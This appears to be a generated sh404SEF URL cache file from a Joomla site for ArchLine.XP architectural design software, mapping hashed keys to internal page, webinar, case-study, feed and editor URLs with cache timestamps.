+$this->_urlCache['98b1a324aa32490851a029bf5a2ef776']='index.php?option=com_sppagebuilder&Itemid=542&id=182&lang=en&layout=edit&tmpl=component&view=form#182-building-volumes-shadow-analysis-architecture-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1778019266; +$this->_urlCache['6c4d574eb2a6201076fda55aa3155dbd']='index.php?option=com_content&Itemid=366&catid=24&id=873&lang=en&view=article#blog/case-studies/case-study-engineer-roberto-kriege#0'; +$shURLCacheCreationDate=1778020780; +$this->_urlCache['4d06ff955f599325e2a629f215e34056']='index.php?option=com_content&Itemid=124&catid=17&id=573&lang=en&view=article#education/tips-documentation/useful-links#0'; +$shURLCacheCreationDate=1778022421; +$this->_urlCache['722093f13c442a0235aa012221981778']='index.php?option=com_sppagebuilder&Itemid=528&id=168&lang=en&layout=edit&tmpl=component&view=form#168-upholstered-furniture-interior-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1778023148; +$this->_urlCache['6c970c69856a10d8a3a858bd00897b48']='index.php?option=com_content&Itemid=175&id=20&lang=en&layout=blog&limit=31&view=category#archline-xp/gallery/picture-of-the-month/#0'; +$this->_urlCache['1edbe32fa656ad084d2132a430a1f6bd']='index.php?option=com_content&Itemid=175&id=20&lang=en&layout=blog&limit=31&limitstart=0&view=category#archline-xp/gallery/picture-of-the-month/#0'; +$shURLCacheCreationDate=1778023151; +$this->_urlCache['71f557e461f0784a6812167ec21ecba9']='index.php?option=com_sppagebuilder&Itemid=530&id=170&lang=en&layout=edit&tmpl=component&view=form#170-electrical-accessories-interior-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1778023186; +$this->_urlCache['1b9e5ddbbcee88054d1adee6e375f26a']='index.php?option=com_sppagebuilder&Itemid=683&id=252&lang=en&layout=edit&tmpl=component&view=form#edit/252#0'; +$shURLCacheCreationDate=1778028154; +$this->_urlCache['3b174a80c5968bc7b95bf0767c971457']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=en&limit=31&limitstart=0&type=rss&view=category#blog/professional-articles/feed/rss#0'; +$shURLCacheCreationDate=1778030287; +$this->_urlCache['6073b6f94a04e8d5f3d4102857c2c4e2']='index.php?option=com_jsn&Itemid=&id=16541&lang=en&view=profile#ornatadesignhotmail.com.html#0'; +$this->_urlCache['c0ecf9b3e15f061d18953726806746c4']='index.php?option=com_content&Itemid=124&catid=37&id=380&lang=en&view=article#projects/architecture/via-alessi#0'; +$shURLCacheCreationDate=1778031801; +$this->_urlCache['e7b492f65dfa77b1687cbfdec69328cb']='index.php?option=com_sppagebuilder&Itemid=224&id=113&lang=en&view=page#products/archline-xp-professional/architectural-benefits#1'; +$shURLCacheCreationDate=1778034137; +$this->_urlCache['362d3199e7d6517c9dfe36a7a0223e52']='index.php?option=com_content&Itemid=124&catid=54&id=679&lang=en&view=article#education/webinars/archline-xp-gateway-to-bim-4#0'; +$shURLCacheCreationDate=1778037758; +$this->_urlCache['a513f5d2b12d6b1c22dc11f413898662']='index.php?option=com_sppagebuilder&Itemid=674&id=245&lang=en&layout=edit&tmpl=component&view=form#edit/245#0'; +$shURLCacheCreationDate=1778038553; +$this->_urlCache['d334a1d82c1ac3cb2677563301000538']='index.php?option=com_sppagebuilder&Itemid=385&id=105&lang=en&view=page#education/registration-and-activation/non-profit-license-information#0'; +$shURLCacheCreationDate=1778039130; +$this->_urlCache['8c83e6e40b0c6b2accd9ebca7ce6b3d5']='index.php?option=com_content&Itemid=366&catid=24&id=988&lang=en&view=article#blog/case-studies/meet-the-designer-timea-toth#0'; +$shURLCacheCreationDate=1778039874; +$this->_urlCache['b202627b8debc8a904ba22efc8636c2a']='index.php?option=com_sppagebuilder&Itemid=706&id=267&lang=en&layout=edit&tmpl=component&view=form#edit/267#0'; +$shURLCacheCreationDate=1778039895; +$this->_urlCache['c10d36be5bbde73d491594e22f80368a']='index.php?option=com_content&Itemid=124&catid=54&id=727&lang=en&view=article#education/webinars/everything-about-walls#0'; +$shURLCacheCreationDate=1778041586; +$this->_urlCache['0703591dff282c76aa53d99349775add']='index.php?option=com_content&Itemid=366&catid=24&id=941&lang=en&view=article#blog/case-studies/modern-stylish-living-room-designs-designer-adrienn-toth#0'; +$shURLCacheCreationDate=1778045016; +$this->_urlCache['6c078956c4f33620bba603d4f4b56c2e']='index.php?option=com_content&Itemid=124&format=feed&id=17&lang=en&type=rss&view=category#education/tips-documentation/feed/rss#0'; +$this->_urlCache['2f9a347b1d7857c0ea2ebfb7a55d2f1b']='index.php?option=com_content&Itemid=124&format=feed&id=17&lang=en&type=atom&view=category#education/tips-documentation/feed/atom#0'; +$this->_urlCache['02f2cf5d519b7f2a563dd39a96f210dc']='index.php?option=com_content&Itemid=124&id=18&lang=en&view=category#education/tips-documentation/helping-tips/#0'; +$shURLCacheCreationDate=1778047057; +$this->_urlCache['e1a6bd99ef8c169343d80c0313b4602a']='index.php?option=com_sppagebuilder&Itemid=340&id=96&lang=en&layout=edit&tmpl=component&view=form#96-picture-of-the-month-specifications/edit#0'; +$shURLCacheCreationDate=1778047339; +$this->_urlCache['f9f59d0d22070629b0626bb782f38326']='index.php?option=com_content&Itemid=189&catid=42&id=528&lang=en&view=article#archline-xp/news/archline-xp-2017-the-bim-application-tuned-for-architectural-design#0'; +$shURLCacheCreationDate=1778048964; +$this->_urlCache['11bbbaac6ef93aefd75cc60e707d56c3']='index.php?option=com_content&Itemid=124&catid=54&id=779&lang=en&view=article#education/webinars/lists-and-schedules-in-archline-xp#0'; +$shURLCacheCreationDate=1778049407; +$this->_urlCache['dcc84041553004a6f2bffa0f3e760138']='index.php?option=com_sppagebuilder&Itemid=216&id=56&lang=en&layout=edit&tmpl=component&view=form#56-program-versions/edit#0'; +$shURLCacheCreationDate=1778054363; +$this->_urlCache['95a2007982ebf62ae18bf6c09711f138']='index.php?option=com_content&Itemid=124&catid=34&id=489&lang=en&view=article#download/license-agreement-printable#0'; +$shURLCacheCreationDate=1778055870; +$this->_urlCache['f0afac2236533dabc067e9d4bf5c804a']='index.php?option=com_sppagebuilder&Itemid=428&id=126&lang=en&layout=edit&tmpl=component&view=form#126-compare-products/edit#0'; +$shURLCacheCreationDate=1778055917; +$this->_urlCache['700d0404e8d723914f6401d56871f3a4']='index.php?option=com_content&Itemid=366&catid=24&id=904&lang=en&view=article#blog/case-studies/archline-xp-has-significantly-increased-our-efficiency#1'; +$shURLCacheCreationDate=1778061766; +$this->_urlCache['5fe7d945845efdc3d4451f8d571a3329']='index.php?option=com_sppagebuilder&Itemid=571&id=197&lang=en&layout=edit&tmpl=component&view=form#197-new-in-archline-xp-2019/edit#0'; +$shURLCacheCreationDate=1778062516; +$this->_urlCache['6510e4f9f927987abb760675e1a4a611']='index.php?option=com_sppagebuilder&Itemid=124&id=100&lang=en&layout=edit&tmpl=component&view=form#100-404-error/edit#0'; +$shURLCacheCreationDate=1778063223; +$this->_urlCache['27774f5ed050ab153d6a259d1bb1d1c0']='index.php?option=com_content&Itemid=124&format=feed&id=15&lang=en&type=rss&view=category#blog/feed/rss#0'; +$this->_urlCache['49a485fe4ffb49e998d0cb14307d6581']='index.php?option=com_content&Itemid=124&format=feed&id=15&lang=en&type=atom&view=category#blog/feed/atom#0'; +$this->_urlCache['ecc89f14eb0b095279af0c102537e300']='index.php?option=com_content&Itemid=366&id=24&lang=en&view=category#blog/case-studies/#0'; +$shURLCacheCreationDate=1778064771; +$this->_urlCache['e06474c267c6fef9e40b088af1b65443']='index.php?option=com_sppagebuilder&Itemid=216&id=56&lang=en&view=page#download/download-center/program-versions#1'; +$shURLCacheCreationDate=1778068664; +$this->_urlCache['4861c93cf6f0524e00f69b1723f187d0']='index.php?option=com_sppagebuilder&Itemid=348&id=100&lang=en&layout=edit&tmpl=component&view=form#100-404-error/edit#0'; +$shURLCacheCreationDate=1778069862; +$this->_urlCache['f1736f119a92e219eed35d3c3cdc157b']='index.php?option=com_sppagebuilder&Itemid=515&id=157&lang=en&layout=edit&tmpl=component&view=form#157-documentation-and-printing-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1778071679; +$this->_urlCache['309ca2c588154a61e3fc1ebf84ac4062']='index.php?option=com_content&Itemid=366&catid=24&id=990&lang=en&view=article#blog/case-studies/bring-nature-into-your-home#0'; +$this->_urlCache['0162b0edb43cbc37b7176c208e6ebe0c']='index.php?option=com_content&Itemid=366&catid=24&id=984&lang=en&view=article#blog/case-studies/we-design-it-comfort-on-42-square-metres#0'; +$this->_urlCache['33096433de51a1eee8eff1da6761ae00']='index.php?option=com_content&Itemid=366&catid=24&id=957&lang=en&view=article#blog/case-studies/mariann-neubrandtne-hargas-graduation-project-with-archline-xp#0'; +$this->_urlCache['e2afa2e14116bd0199a05272d9cf7d27']='index.php?option=com_content&Itemid=366&catid=24&id=948&lang=en&view=article#blog/case-studies/reka-juhasz-graduation-project-with-archline-xp#0'; +$this->_urlCache['906cb9d0926519ec62e65b83e451d1f4']='index.php?option=com_content&Itemid=366&catid=24&id=942&lang=en&view=article#blog/case-studies/betty-doka#0'; +$this->_urlCache['ba5aa2401c1ebcca79967893c852a247']='index.php?option=com_content&Itemid=366&catid=24&id=937&lang=en&view=article#blog/case-studies/doka-betty-tervei-az-archline-xp-live-val#0'; +$this->_urlCache['3fe61e9b62bacd4219ec0d764d57dd3b']='index.php?option=com_content&Itemid=366&catid=24&id=935&lang=en&view=article#blog/case-studies/zsuzsanna-pal-projects-with-archline-xp-live#0'; +$this->_urlCache['2a27da81269a3e013ab2103d819fc9a0']='index.php?option=com_content&Itemid=366&catid=24&id=915&lang=en&view=article#blog/case-studies/alexandra-szabados#0'; +$shURLCacheCreationDate=1778072566; +$this->_urlCache['8e80bc48ab08dd6fb0b4da36365014a6']='index.php?option=com_sppagebuilder&Itemid=794&id=349&lang=en&layout=edit&tmpl=component&view=form#edit/349#0'; +$shURLCacheCreationDate=1778072611; +$this->_urlCache['4ccb98700f271f559d64af69916ecd54']='index.php?option=com_content&Itemid=124&catid=54&id=719&lang=en&view=article#education/webinars/designing-roofs-1-the-fundamentals#0'; +$shURLCacheCreationDate=1778072618; +$this->_urlCache['95c1778aeec8af51f13247b95ee3b148']='index.php?option=com_content&Itemid=124&format=feed&id=53&lang=en&type=rss&view=category#archline-xp/download-center/program-versions/feed/rss#0'; +$this->_urlCache['3d1afcdd7bafe5b6a374283f85afd0b7']='index.php?option=com_content&Itemid=124&format=feed&id=53&lang=en&type=atom&view=category#archline-xp/download-center/program-versions/feed/atom#0'; +$shURLCacheCreationDate=1778072666; +$this->_urlCache['d0d8f69ea2dc00fcb76977df437e5a2e']='index.php?option=com_content&Itemid=124&catid=54&id=763&lang=en&view=article#education/webinars/detailing-in-archline-xp#0'; +$shURLCacheCreationDate=1778076106; +$this->_urlCache['8d093b3dbc8cd04f724c88e73a51f1b6']='index.php?option=com_content&Itemid=177&format=feed&id=22&lang=en&layout=blog&type=rss&view=category#competition/mood-board/feed/rss#0'; +$this->_urlCache['08740def4ad24596acfe6f62bd70a6e0']='index.php?option=com_content&Itemid=177&format=feed&id=22&lang=en&layout=blog&type=atom&view=category#competition/mood-board/feed/atom#0'; +$shURLCacheCreationDate=1778079082; +$this->_urlCache['67d68b9ef842285bfab89e584543a670']='index.php?option=com_sppagebuilder&Itemid=623&id=221&lang=en&layout=edit&tmpl=component&view=form#edit/221#0'; +$shURLCacheCreationDate=1778079125; +$this->_urlCache['aa88d19b23f9aa9ce0c97490be4f433b']='index.php?option=com_content&Itemid=124&catid=58&id=1059&lang=en&view=article#legal/terms-of-use#0'; +$shURLCacheCreationDate=1778084331; +$this->_urlCache['07dabb4f1ddc8893effef300f6c305e4']='index.php?option=com_sppagebuilder&Itemid=529&id=169&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-2/visualization-interior-level-2#0'; +$shURLCacheCreationDate=1778087377; +$this->_urlCache['b91268c30d3784fc03dcd70c72b4ae00']='index.php?option=com_sppagebuilder&Itemid=506&id=149&lang=en&layout=edit&tmpl=component&view=form#149-tutorial-videos-archline-xp-architecture-level-2/edit#0'; +$shURLCacheCreationDate=1778090106; +$this->_urlCache['06df86a28c9f0dd6d3f81b9afc213b67']='index.php?option=com_content&Itemid=124&format=feed&id=44&lang=en&type=rss&view=category#education/feed/rss#0'; +$this->_urlCache['e50fd96b797643e1c26e6f85e50d7589']='index.php?option=com_content&Itemid=124&format=feed&id=44&lang=en&type=atom&view=category#education/feed/atom#0'; +$this->_urlCache['db36afe273bd9e4cddd14ffec672824a']='index.php?option=com_content&Itemid=124&catid=44&id=403&lang=en&view=article#education/lakberendezo-iskolak#0'; +$this->_urlCache['d4c02c606599911fcc70494920975a22']='index.php?option=com_content&Itemid=124&catid=44&id=406&lang=en&view=article#education/regisztracio-es-aktivalas#0'; +$this->_urlCache['174d26185bb4dc483607b1ad458e1eff']='index.php?option=com_content&Itemid=124&catid=44&id=405&lang=en&view=article#education/termektamogatas#0'; +$this->_urlCache['3cc9419efdb0894b33cf561bb9c74803']='index.php?option=com_content&Itemid=124&id=17&lang=en&view=category#education/tips-documentation/#0'; +$this->_urlCache['402c682fbfd0f54f5e3603849c02420f']='index.php?option=com_content&Itemid=124&id=54&lang=en&view=category#education/webinars/#0'; +$shURLCacheCreationDate=1778091780; +$this->_urlCache['c98311393461ad209c29b53443f4577f']='index.php?option=com_sppagebuilder&Itemid=673&id=244&lang=en&layout=edit&tmpl=component&view=form#edit/244#0'; +$shURLCacheCreationDate=1778095508; +$this->_urlCache['8a96e1d9ca685d221814e21b25346b8c']='index.php?option=com_content&Itemid=124&catid=34&id=962&lang=en&view=article#download/software-license-agreement-2023#0'; +$shURLCacheCreationDate=1778095663; +$this->_urlCache['63f1c2f6a7bcbabbc82be62621cad642']='index.php?option=com_sppagebuilder&Itemid=549&id=190&lang=en&layout=edit&tmpl=component&view=form#190-virtual-home-staging-interior-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1778096236; +$this->_urlCache['74b535a72f0ad6e063859d45cb28bc7e']='index.php?option=com_sppagebuilder&Itemid=792&id=347&lang=en&layout=edit&tmpl=component&view=form#edit/347#0'; +$shURLCacheCreationDate=1778101034; +$this->_urlCache['6f9b7c7f645a4e80f28cbb89d84a4ce8']='index.php?option=com_sppagebuilder&Itemid=546&id=187&lang=en&layout=edit&tmpl=component&view=form#187-the-ifc-file-format-bim-level-mozaik/edit#0'; +$shURLCacheCreationDate=1778107680; +$this->_urlCache['228e3710ca714f17693d1b99fef9f7a4']='index.php?option=com_sppagebuilder&Itemid=519&id=162&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-1/bathroom-tiling-interior-level-1#0'; +$shURLCacheCreationDate=1778110825; +$this->_urlCache['cc3ba48985f62b46b7bb3c9f7da2c1c8']='index.php?option=com_content&Itemid=384&id=573&lang=en&view=article#education/tips-documentation/useful-links#0'; +$shURLCacheCreationDate=1778111557; +$this->_urlCache['cf149a3481232e9b40bd805e7d651538']='index.php?option=com_content&Itemid=124&catid=54&id=805&lang=en&view=article#education/webinars/introducing-archline-xp-lt#0'; +$shURLCacheCreationDate=1778112302; +$this->_urlCache['03eac3d305e9378bc75353bea8c630e0']='index.php?option=com_content&Itemid=124&catid=54&id=760&lang=en&view=article#education/webinars/teamwork-in-archline-xp#0'; +$shURLCacheCreationDate=1778112326; +$this->_urlCache['3689151fd9bf6cc7dc22af18d7575581']='index.php?option=com_content&Itemid=124&catid=54&id=739&lang=en&view=article#education/webinars/advanced-2d-modeling-tools-2#0'; +$shURLCacheCreationDate=1778112342; +$this->_urlCache['5c5f278e74cf7c576d0f895ace0239d4']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=5&type=rss&view=category#archline-xp/gallery/picture-of-the-month/feed/rss/Page-1-5#0'; +$this->_urlCache['918b8412d9083e4ae305ad4f9b8e44a1']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=5&type=atom&view=category#archline-xp/gallery/picture-of-the-month/feed/atom/Page-1-5#0'; +$this->_urlCache['a340d2d64a785068bd335c9aa34070af']='index.php?option=com_content&Itemid=175&id=20&lang=en&layout=blog&limit=5&view=category#archline-xp/gallery/picture-of-the-month/Page-1-5#0'; +$shURLCacheCreationDate=1778120737; +$this->_urlCache['9c3b5790e6682242b9fc073b2c373738']='index.php?option=com_sppagebuilder&Itemid=547&id=188&lang=en&layout=edit&tmpl=component&view=form#188-bim-libraries-bim-level-mozaik/edit#0'; +$shURLCacheCreationDate=1778123226; +$this->_urlCache['04f833651fbcee947e0ae70419d64f1b']='index.php?option=com_content&Itemid=124&catid=54&id=677&lang=en&view=article#education/webinars/archline-xp-gateway-to-bim-2#0'; +$shURLCacheCreationDate=1778123278; +$this->_urlCache['9baf4034dffd855dc4b3d01de23efcb0']='index.php?option=com_content&Itemid=124&catid=34&id=565&lang=en&view=article#download/trial-download-2017-277#0'; +$shURLCacheCreationDate=1778124079; +$this->_urlCache['d6b2e9faef788155f5a97f68c01b0903']='index.php?option=com_sppagebuilder&Itemid=783&id=333&lang=en&layout=edit&tmpl=component&view=form#edit/333#0'; +$shURLCacheCreationDate=1778127201; +$this->_urlCache['0c6383471463a8cf77901f51abb82cc4']='index.php?option=com_content&Itemid=175&id=20&lang=en&layout=blog&limit=5&limitstart=0&view=category#archline-xp/gallery/picture-of-the-month/#0'; +$shURLCacheCreationDate=1778132466; +$this->_urlCache['9ab87de92adee7481d374bb22b2d95e5']='index.php?option=com_content&Itemid=124&catid=54&id=690&lang=en&view=article#education/webinars/interior-design-1-essentials#0'; +$shURLCacheCreationDate=1778133727; +$this->_urlCache['38c1724a684fc101926147ca036307a2']='index.php?option=com_content&Itemid=124&format=feed&id=47&lang=en&type=rss&view=category#showroom/feed/rss#0'; +$this->_urlCache['576001c899243a4ea2b7bdaed4feb823']='index.php?option=com_content&Itemid=124&format=feed&id=47&lang=en&type=atom&view=category#showroom/feed/atom#0'; +$this->_urlCache['2030f96203d14017d08611152d1fc0b0']='index.php?option=com_content&Itemid=124&catid=47&id=542&lang=en&view=article#showroom/showroom#0'; +$shURLCacheCreationDate=1778136166; +$this->_urlCache['cf6aac5a4b146ab27e44c1e618b1e9f8']='index.php?option=com_sppagebuilder&Itemid=420&id=118&lang=en&layout=edit&tmpl=component&view=form#118-workshop-application-intermediate/edit#0'; +$shURLCacheCreationDate=1778137143; +$this->_urlCache['fa9d5a93085dd41d64545fcfbd868dfe']='index.php?option=com_sppagebuilder&Itemid=187&id=93&lang=en&view=page#download#0'; +$shURLCacheCreationDate=1778137706; +$this->_urlCache['9be8f5525dfa7e80207a46dba0ffafee']='index.php?option=com_sppagebuilder&Itemid=532&id=173&lang=en&layout=edit&tmpl=component&view=form#173-slab-sloped-floor-architecture-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1778147854; +$this->_urlCache['452e89f0ec6e45a5f0152a5c81d91e5d']='index.php?option=com_content&Itemid=124&catid=54&id=794&lang=en&view=article#education/webinars/archline-xp-from-start-to-finish-part-1#0'; +$shURLCacheCreationDate=1778147879; +$this->_urlCache['c3e8e5aa2c363a825faf61639eb7af74']='index.php?option=com_content&Itemid=124&catid=54&id=680&lang=en&view=article#education/webinars/archline-xp-gateway-to-bim-5#0'; +$shURLCacheCreationDate=1778149418; +$this->_urlCache['cf452a239952ff9a6d2e7e2302ca8217']='index.php?option=com_content&Itemid=124&catid=54&id=646&lang=en&view=article#education/webinars/working-with-external-files-the-archline-xp-imports#0'; +$shURLCacheCreationDate=1778150095; +$this->_urlCache['537c03274f103208e44b8ba93b6dc735']='index.php?option=com_sppagebuilder&Itemid=538&id=179&lang=en&layout=edit&tmpl=component&view=form#179-railing-architecture-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1778155474; +$this->_urlCache['9cbc44cf28cdaafe3a51068acb8c3b5c']='index.php?option=com_sppagebuilder&Itemid=773&id=325&lang=en&view=page#events/2025-update-day-march#1'; +$shURLCacheCreationDate=1778156512; +$this->_urlCache['22dea91959be7fc5287615a3eda0b1f8']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&limitstart=0&type=rss&view=category#blog/case-studies/feed/rss#0'; +$this->_urlCache['105eaccea0c7ea2698ed76124ee3c935']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&limitstart=62&type=rss&view=category#blog/case-studies/feed/rss/Page-3-31#0'; +$this->_urlCache['156584f561e167432bcff79a4d7df32f']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&limitstart=31&type=rss&view=category#blog/case-studies/feed/rss/Page-2-31#0'; +$shURLCacheCreationDate=1778159623; +$this->_urlCache['40623a1396f30914fa0350f8c729cab7']='index.php?option=com_sppagebuilder&Itemid=531&id=172&lang=en&layout=edit&tmpl=component&view=form#172-wall-architecture-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1778160759; +$this->_urlCache['b50df46091710fd8e9e00f5a79be5004']='index.php?option=com_sppagebuilder&Itemid=569&id=195&lang=en&layout=edit&tmpl=component&view=form#195-webinars-3/edit#0'; +$this->_urlCache['058be23ad2159615bc5e5d4cd6440137']='index.php?option=com_content&Itemid=124&catid=54&id=806&lang=en&view=article#education/webinars/everything-about-tiling-and-surface-decoration#1'; +$this->_urlCache['807799b1c8e5271a996128319c5c51d6']='index.php?option=com_content&Itemid=124&catid=54&id=804&lang=en&view=article#education/webinars/everything-about-groups-and-profiles#0'; +$this->_urlCache['0ff62d5c405275fdbdd79fead0b92928']='index.php?option=com_content&Itemid=124&catid=54&id=798&lang=en&view=article#education/webinars/archline-xp-from-start-to-finish-part-3#0'; +$this->_urlCache['3bf1be475e336d4fa80e8e532b0e7e46']='index.php?option=com_content&Itemid=124&catid=54&id=797&lang=en&view=article#education/webinars/archline-xp-from-start-to-finish-part-2#0'; +$this->_urlCache['f4a76fd9390cade5d2d0e52a1e457088']='index.php?option=com_content&Itemid=124&catid=54&id=777&lang=en&view=article#education/webinars/archline-xp-live-for-interior-designers#0'; +$this->_urlCache['276eb1a415a8d395ae580741cb31bd16']='index.php?option=com_content&Itemid=124&catid=54&id=757&lang=en&view=article#education/webinars/installation-customization-and-license-management#0'; +$this->_urlCache['3db7c68ff1dbef1bd6312a87da740cf7']='index.php?option=com_content&Itemid=124&catid=54&id=756&lang=en&view=article#education/webinars/archline-xp-2019-highlights-2#0'; +$this->_urlCache['44ecad302c0e6c09c535ece8c76c5954']='index.php?option=com_content&Itemid=124&catid=54&id=741&lang=en&view=article#education/webinars/designing-upholstered-furniture#0'; +$this->_urlCache['d440ccff00acd7ac3adcab1734c123cd']='index.php?option=com_content&Itemid=124&catid=54&id=735&lang=en&view=article#education/webinars/advanced-furniture-design-tools#0'; +$this->_urlCache['41692da02bc7d9b5a5914677eb5181fc']='index.php?option=com_content&Itemid=124&catid=54&id=729&lang=en&view=article#education/webinars/working-with-large-projects#0'; +$this->_urlCache['8a589aedae281e1fd824399689ba2933']='index.php?option=com_content&Itemid=124&catid=54&id=728&lang=en&view=article#education/webinars/everything-about-stairs-and-railings#0'; +$this->_urlCache['d75d2628a47c7b0e50cde616679d2ce5']='index.php?option=com_content&Itemid=124&catid=54&id=670&lang=en&view=article#education/webinars/archline-xp-2018-feature-highlights#0'; +$this->_urlCache['45b4a5e25774e74f61e4bddcdc67c12f']='index.php?option=com_content&Itemid=124&catid=54&id=697&lang=en&view=article#education/webinars/interior-design-5-documentation#0'; +$this->_urlCache['fb7683f201e9f2d8e4f2b124f2e2c325']='index.php?option=com_content&Itemid=124&catid=54&id=720&lang=en&view=article#education/webinars/designing-roofs-2-intermediate#0'; +$shURLCacheCreationDate=1778161194; +$this->_urlCache['5d0f962afcd981d9e40d0ff98f731185']='index.php?option=com_content&Itemid=124&catid=107&id=972&lang=en&view=article#email-templates/trial-download-email#0'; +$shURLCacheCreationDate=1778172999; +$this->_urlCache['71332da819098eec39d7b62d658bda5a']='index.php?option=com_content&Itemid=124&catid=34&id=886&lang=en&view=article#download/release-2021-lt-websetup#0'; +$shURLCacheCreationDate=1778185901; +$this->_urlCache['faf86568a296291e8c2380df570ffd8c']='index.php?option=com_sppagebuilder&Itemid=421&id=122&lang=en&view=page#webinars-2#1'; +$shURLCacheCreationDate=1778188313; +$this->_urlCache['fa4b55127fdd627225fb875d666d2640']='index.php?option=com_sppagebuilder&Itemid=575&id=200&lang=en&layout=edit&tmpl=component&view=form#200-design-phases-bim-level-mozaik/edit#0'; +$shURLCacheCreationDate=1778188392; +$this->_urlCache['238761d02862d5a02e2516c2347b783f']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&limitstart=93&type=rss&view=category#blog/case-studies/feed/rss/Page-4-31#0'; +$shURLCacheCreationDate=1778189024; +$this->_urlCache['6ba993c3d85561bb18eb6cb0f42bbf8c']='index.php?option=com_sppagebuilder&Itemid=539&id=180&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-1/roof-architecture-level-1#0'; +$shURLCacheCreationDate=1778189064; +$this->_urlCache['bf9ec09d2059e993f639e74c51f2915c']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&limitstart=31&type=atom&view=category#blog/case-studies/feed/atom/Page-2-31#0'; +$this->_urlCache['3e86213f09a69f1d7dd25a6a386683ab']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&limitstart=93&type=atom&view=category#blog/case-studies/feed/atom/Page-4-31#0'; +$this->_urlCache['6def5ae1611c951b1f9ae769a6db7c2e']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&limitstart=62&type=atom&view=category#blog/case-studies/feed/atom/Page-3-31#0'; +$shURLCacheCreationDate=1778189161; +$this->_urlCache['31549e719157187adf5dbc547d828823']='index.php?option=com_sppagebuilder&Itemid=584&id=206&lang=en&layout=edit&tmpl=component&view=form#206-tiling-interior-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1778189179; +$this->_urlCache['e5c4cdf94cdd9d6fa7a7b797f27dacf0']='index.php?option=com_sppagebuilder&Itemid=523&id=165&lang=en&layout=edit&tmpl=component&view=form#165-rendering-interior-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1778189225; +$this->_urlCache['72cf2c898a4406f793d30e1d7cf904b6']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&limitstart=0&type=atom&view=category#blog/case-studies/feed/atom#0'; +$shURLCacheCreationDate=1778189247; +$this->_urlCache['bb77c27f2875cb41a25232ff48f7e48e']='index.php?option=com_sppagebuilder&Itemid=627&id=226&lang=en&view=page#education/faq#0'; +$shURLCacheCreationDate=1778189372; +$this->_urlCache['8e83ad82745746df74ed7d185fcdf9c3']='index.php?option=com_sppagebuilder&Itemid=536&id=177&lang=en&layout=edit&tmpl=component&view=form#177-column-beam-architecture-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1778189376; +$this->_urlCache['3119974374d96a9b56db6c128a576d5e']='index.php?option=com_sppagebuilder&Itemid=618&id=217&lang=en&layout=edit&tmpl=component&view=form#edit/217#0'; +$shURLCacheCreationDate=1778195433; +$this->_urlCache['e0e2f16a243dd9624fe742ce1105e620']='index.php?option=com_content&Itemid=124&format=feed&id=37&lang=en&type=rss&view=category#projects/architecture/feed/rss#0'; +$this->_urlCache['3241918a28778ef849bbc1304a324924']='index.php?option=com_content&Itemid=124&format=feed&id=37&lang=en&type=atom&view=category#projects/architecture/feed/atom#0'; +$shURLCacheCreationDate=1778204681; +$this->_urlCache['ee6647beab85710d73e5644e5fffc775']='index.php?option=com_sppagebuilder&Itemid=320&id=59&lang=en&view=page#download/download-center/downloadable-applications/archline-xp-reader#1'; +$shURLCacheCreationDate=1778208128; +$this->_urlCache['a1ade1cc8bdfb9131024aece51bf7dab']='index.php?option=com_sppagebuilder&Itemid=320&id=59&lang=en&layout=edit&tmpl=component&view=form#59-archline-xp-reader/edit#0'; +$shURLCacheCreationDate=1778208130; +$this->_urlCache['b0446cea6224e8ba907c23d4fad937bd']='index.php?option=com_sppagebuilder&Itemid=269&id=69&lang=en&layout=edit&tmpl=component&view=form#69-dokumentacio-keszites/edit#0'; +$shURLCacheCreationDate=1778210535; +$this->_urlCache['f2356d6d0cac1ee7d74f264984153b3f']='index.php?option=com_content&Itemid=124&catid=48&id=934&lang=en&view=article#workshop-email-templates/archline-xp-live-2022-new-features-part-2-webinar-signup-confirmation#0'; +$shURLCacheCreationDate=1778216465; +$this->_urlCache['d20e3feb0422bd47a38bb0dc703189c0']='index.php?option=com_content&Itemid=124&format=feed&id=107&lang=en&type=rss&view=category#email-templates/feed/rss#0'; +$this->_urlCache['7d248f6b2d2c4a046692599fb80e5897']='index.php?option=com_content&Itemid=124&format=feed&id=107&lang=en&type=atom&view=category#email-templates/feed/atom#0'; +$shURLCacheCreationDate=1778224951; +$this->_urlCache['d8ccf85d4a178c73fe5c2b11fcb555d2']='index.php?option=com_tags&id=75&lang=en&view=tag#tag/75#0'; +$shURLCacheCreationDate=1778232821; +$this->_urlCache['7b6346e3b63bf172553f78fd9f322412']='index.php?option=com_content&Itemid=124&catid=34&id=883&lang=en&view=article#download/archline-xp-2021-live-websetup-download#0'; +$shURLCacheCreationDate=1778238010; +$this->_urlCache['3b6a3cc8ffaddec92485246ee936c299']='index.php?option=com_sppagebuilder&Itemid=571&id=197&lang=en&view=page#products/archline-xp-professional/new-in-archline-xp-2019#1'; +$shURLCacheCreationDate=1778252773; +$this->_urlCache['dd77ce5598115e40b1dfd9ee756aadd8']='index.php?option=com_sppagebuilder&Itemid=217&id=63&lang=en&view=page#education/tips-documentation#0'; +$shURLCacheCreationDate=1778259114; 